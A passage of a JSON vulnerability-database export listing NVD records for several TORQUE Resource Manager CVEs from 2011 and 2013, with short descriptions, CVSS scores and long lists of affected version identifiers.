"cpe:/a:clusterresources:torque_resource_manager:2.3.4", "cpe:/a:clusterresources:torque_resource_manager:2.5.1", "cpe:/a:clusterresources:torque_resource_manager:3.0.1", "cpe:/a:clusterresources:torque_resource_manager:2.3.13", "cpe:/a:clusterresources:torque_resource_manager:2.1.3", "cpe:/a:clusterresources:torque_resource_manager:2.4.5", "cpe:/a:clusterresources:torque_resource_manager:2.3.3", "cpe:/a:clusterresources:torque_resource_manager:2.5.3", "cpe:/a:clusterresources:torque_resource_manager:2.3.7", "cpe:/a:clusterresources:torque_resource_manager:2.1.8", "cpe:/a:clusterresources:torque_resource_manager:2.4.11", "cpe:/a:clusterresources:torque_resource_manager:2.1.11", "cpe:/a:clusterresources:torque_resource_manager:2.4.4", "cpe:/a:clusterresources:torque_resource_manager:2.5.5", "cpe:/a:clusterresources:torque_resource_manager:2.3.0", "cpe:/a:clusterresources:torque_resource_manager:2.1.9", "cpe:/a:clusterresources:torque_resource_manager:2.3.12", "cpe:/a:clusterresources:torque_resource_manager:2.3.1", "cpe:/a:clusterresources:torque_resource_manager:2.3.6", "cpe:/a:clusterresources:torque_resource_manager:2.4.12", "cpe:/a:clusterresources:torque_resource_manager:2.4.10", "cpe:/a:clusterresources:torque_resource_manager:2.3.9", "cpe:/a:clusterresources:torque_resource_manager:2.5.0", "cpe:/a:clusterresources:torque_resource_manager:2.3.5", "cpe:/a:clusterresources:torque_resource_manager:2.1.2", "cpe:/a:clusterresources:torque_resource_manager:2.1.6", "cpe:/a:clusterresources:torque_resource_manager:2.3.10", "cpe:/a:clusterresources:torque_resource_manager:2.4.13", "cpe:/a:clusterresources:torque_resource_manager:2.1.1", "cpe:/a:clusterresources:torque_resource_manager:2.4.9", "cpe:/a:clusterresources:torque_resource_manager:2.1.0", "cpe:/a:clusterresources:torque_resource_manager:2.4.2", "cpe:/a:clusterresources:torque_resource_manager:2.2.1", "cpe:/a:clusterresources:torque_resource_manager:2.3.11", "cpe:/a:clusterresources:torque_resource_manager:2.4.6", "cpe:/a:clusterresources:torque_resource_manager:2.1.0p11", "cpe:/a:clusterresources:torque_resource_manager:2.1.7"], "id": "CVE-2011-2907", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-2907", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:clusterresources:torque_resource_manager:2.4.9:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.4:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.8:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.7:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:3.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.10:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.10:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.5:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.4:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.6:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.11:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.8:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.6:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.5.4:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.2:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.0:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.8:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.3:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.6:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.5.5:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.10:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.12:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.5.2:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.9:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.5.1:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.13:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.12:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.11:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.11:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.5.3:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:3.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.0:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.5.0:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.13:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.7:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.3:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.3:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.0p11:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.7:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.5:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.9:*:*:*:*:*:*:*"]}, {"lastseen": "2023-02-09T14:52:36", "description": "Multiple buffer overflows in Terascale Open-Source Resource and Queue Manager (aka TORQUE Resource Manager) 2.x before 2.4.14, 2.5.x before 2.5.6, and 3.x before 3.0.2 allow (1) remote authenticated users to gain privileges via a long Job_Name field in a qsub command to the server, and might allow (2) local users to gain privileges via vectors involving a long host variable in pbs_iff.", "cvss3": {}, "published": "2011-06-24T20:55:00", "type": "cve", "title": "CVE-2011-2193", "cwe": ["CWE-119"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 8.5, "vectorString": "AV:N/AC:M/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2011-2193"], "modified": "2018-10-09T19:32:00", "cpe": ["cpe:/a:clusterresources:torque_resource_manager:2.3.7", "cpe:/a:clusterresources:torque_resource_manager:2.5.4", "cpe:/a:clusterresources:torque_resource_manager:2.3.2", "cpe:/a:clusterresources:torque_resource_manager:2.3.3", "cpe:/a:clusterresources:torque_resource_manager:2.3.8", "cpe:/a:clusterresources:torque_resource_manager:2.1.10", "cpe:/a:clusterresources:torque_resource_manager:2.3.5", "cpe:/a:clusterresources:torque_resource_manager:2.4.11", "cpe:/a:clusterresources:torque_resource_manager:2.3.11", "cpe:/a:clusterresources:torque_resource_manager:2.3.9", "cpe:/a:clusterresources:torque_resource_manager:2.4.12", "cpe:/a:clusterresources:torque_resource_manager:2.5.0", "cpe:/a:clusterresources:torque_resource_manager:2.2.1", "cpe:/a:clusterresources:torque_resource_manager:2.3.13", "cpe:/a:clusterresources:torque_resource_manager:2.3.0", "cpe:/a:clusterresources:torque_resource_manager:2.1.0p11", "cpe:/a:clusterresources:torque_resource_manager:2.3.4", "cpe:/a:clusterresources:torque_resource_manager:2.1.1", "cpe:/a:clusterresources:torque_resource_manager:2.5.1", "cpe:/a:clusterresources:torque_resource_manager:2.4.5", "cpe:/a:clusterresources:torque_resource_manager:2.4.3", "cpe:/a:clusterresources:torque_resource_manager:2.1.7", "cpe:/a:clusterresources:torque_resource_manager:2.4.9", "cpe:/a:clusterresources:torque_resource_manager:2.1.8", "cpe:/a:clusterresources:torque_resource_manager:2.5.2", "cpe:/a:clusterresources:torque_resource_manager:2.4.13", "cpe:/a:clusterresources:torque_resource_manager:2.3.6", "cpe:/a:clusterresources:torque_resource_manager:2.1.9", "cpe:/a:clusterresources:torque_resource_manager:2.4.6", "cpe:/a:clusterresources:torque_resource_manager:2.4.8", "cpe:/a:clusterresources:torque_resource_manager:2.5.3", "cpe:/a:clusterresources:torque_resource_manager:2.5.5", "cpe:/a:clusterresources:torque_resource_manager:2.4.2", "cpe:/a:clusterresources:torque_resource_manager:2.4.7", "cpe:/a:clusterresources:torque_resource_manager:2.3.1", "cpe:/a:clusterresources:torque_resource_manager:2.1.6", "cpe:/a:clusterresources:torque_resource_manager:2.1.3", "cpe:/a:clusterresources:torque_resource_manager:2.1.2", "cpe:/a:clusterresources:torque_resource_manager:2.4.10", "cpe:/a:clusterresources:torque_resource_manager:2.4.4", "cpe:/a:clusterresources:torque_resource_manager:2.3.10", "cpe:/a:clusterresources:torque_resource_manager:2.3.12", "cpe:/a:clusterresources:torque_resource_manager:2.1.11", "cpe:/a:clusterresources:torque_resource_manager:2.1.0", "cpe:/a:clusterresources:torque_resource_manager:3.0.1", "cpe:/a:clusterresources:torque_resource_manager:3.0.0"], "id": "CVE-2011-2193", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-2193", "cvss": {"score": 8.5, "vector": "AV:N/AC:M/Au:S/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:clusterresources:torque_resource_manager:2.4.7:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:3.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.13:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.5.3:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.10:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.7:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.5.1:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:3.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.6:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.13:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.9:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.11:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.8:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.0:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.3:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.2:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.4:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.11:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.9:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.5.5:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.0:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.7:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.6:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.5.0:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.5:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.6:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.12:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.0p11:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.5.4:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.4:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.5.2:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.8:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.8:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.12:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.11:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.10:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.3:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.10:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.5:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.9:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.3:*:*:*:*:*:*:*"]}, {"lastseen": "2023-02-13T14:31:24", "description": "pbs_mom in Terascale Open-Source Resource and Queue Manager (aka TORQUE Resource Manager) 2.5.x, 4.x, and earlier does not properly restrict access by unprivileged ports, which allows remote authenticated users to execute arbitrary jobs by submitting a command.", "cvss3": {}, "published": "2013-10-11T22:55:00", "type": "cve", "title": "CVE-2013-4319", "cwe": ["CWE-264"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4319"], "modified": "2013-10-15T16:05:00", "cpe": ["cpe:/a:adaptivecomputing:torque_resource_manager:2.3.8", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.17", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.13", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.9", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.12", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.14", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.12", "cpe:/a:adaptivecomputing:torque_resource_manager:3.0.5", "cpe:/a:adaptivecomputing:torque_resource_manager:3.0.1", "cpe:/a:adaptivecomputing:torque_resource_manager:4.0.0", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.2", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.2", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.3", "cpe:/a:adaptivecomputing:torque_resource_manager:2.1.6", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.10", "cpe:/a:adaptivecomputing:torque_resource_manager:4.2.5", "cpe:/a:adaptivecomputing:torque_resource_manager:3.0.3", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.5", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.6", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.7", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.4", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.9", "cpe:/a:adaptivecomputing:torque_resource_manager:3.0.6", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.2", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.4", "cpe:/a:adaptivecomputing:torque_resource_manager:2.2.0", "cpe:/a:adaptivecomputing:torque_resource_manager:2.2.1", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.5", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.6", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.12", "cpe:/a:adaptivecomputing:torque_resource_manager:2.1.8", "cpe:/a:adaptivecomputing:torque_resource_manager:2.1.11", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.7", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.16", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.1", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.7", "cpe:/a:adaptivecomputing:torque_resource_manager:4.2.4.1", "cpe:/a:adaptivecomputing:torque_resource_manager:2.1.10", "cpe:/a:adaptivecomputing:torque_resource_manager:4.1.7", "cpe:/a:adaptivecomputing:torque_resource_manager:3.0.2", "cpe:/a:adaptivecomputing:torque_resource_manager:4.1.5.1", "cpe:/a:adaptivecomputing:torque_resource_manager:2.1.3", "cpe:/a:adaptivecomputing:torque_resource_manager:4.1.1", "cpe:/a:adaptivecomputing:torque_resource_manager:4.2.2", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.9", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.3", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.1", "cpe:/a:adaptivecomputing:torque_resource_manager:4.2.3", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.13", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.10", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.11", "cpe:/a:adaptivecomputing:torque_resource_manager:4.2.3.1", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.6", "cpe:/a:adaptivecomputing:torque_resource_manager:4.1.2", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.10", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.3", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.15", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.0", "cpe:/a:adaptivecomputing:torque_resource_manager:2.1.7", "cpe:/a:adaptivecomputing:torque_resource_manager:3.0.4", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.5", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.8", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.8", "cpe:/a:adaptivecomputing:torque_resource_manager:4.1.3", "cpe:/a:adaptivecomputing:torque_resource_manager:2.1.9", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.11", "cpe:/a:adaptivecomputing:torque_resource_manager:4.0.2", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.11", "cpe:/a:adaptivecomputing:torque_resource_manager:4.1.6", "cpe:/a:adaptivecomputing:torque_resource_manager:4.1.0", "cpe:/a:adaptivecomputing:torque_resource_manager:2.1.2", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.13", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.4", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.0", "cpe:/a:adaptivecomputing:torque_resource_manager:3.0.0", "cpe:/a:adaptivecomputing:torque_resource_manager:2.0.0"], "id": "CVE-2013-4319", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-4319", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.12:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:3.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.8:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.9:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.13:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.1.10:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:3.0.5:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:3.0.4:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.2.3:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.12:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.1.11:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.9:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.4:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.5:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.3:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:3.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.4:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.1.3:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:3.0.3:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.1.0:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.1.5.1:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.3:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.2:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.0:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.4:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.6:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.10:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.2.2:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.9:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.3:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.1.6:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.1.9:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.0:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.6:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.13:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.11:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.2.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.11:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.2.4.1:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.17:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.7:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.5:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.2:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.12:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.1.8:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.14:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.7:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.13:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.1.7:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.15:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.10:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.4.16:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.1:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.6:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.1.3:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.1.6:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.2.5:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.8:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:3.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.8:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:3.0.6:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.10:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.5.7:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.11:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.2.0:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:2.3.5:*:*:*:*:*:*:*", "cpe:2.3:a:adaptivecomputing:torque_resource_manager:4.1.7:*:*:*:*:*:*:*"]}, {"lastseen": "2023-02-09T14:38:27", "description": "The send_the_mail function in server/svr_mail.c in Terascale Open-Source Resource and Queue Manager (aka TORQUE Resource Manager) before 4.2.6 allows remote attackers to execute arbitrary commands via shell metacharacters in the email (-M switch) to qsub.", "cvss3": {}, "published": "2013-11-20T14:12:00", "type": "cve", "title": "CVE-2013-4495", "cwe": ["CWE-94"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4495"], "modified": "2016-12-08T03:03:00", "cpe": ["cpe:/a:adaptivecomputing:torque_resource_manager:4.2.3", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.11", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.3", "cpe:/a:adaptivecomputing:torque_resource_manager:2.3.4", "cpe:/a:adaptivecomputing:torque_resource_manager:2.5.1", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.17", "cpe:/a:adaptivecomputing:torque_resource_manager:2.4.11", "cpe:/a:adaptivecomputing:torque_resource_manager:4.2.5", "cpe:/a:adaptivecomputing:torque_resource_manager:4.1.2", 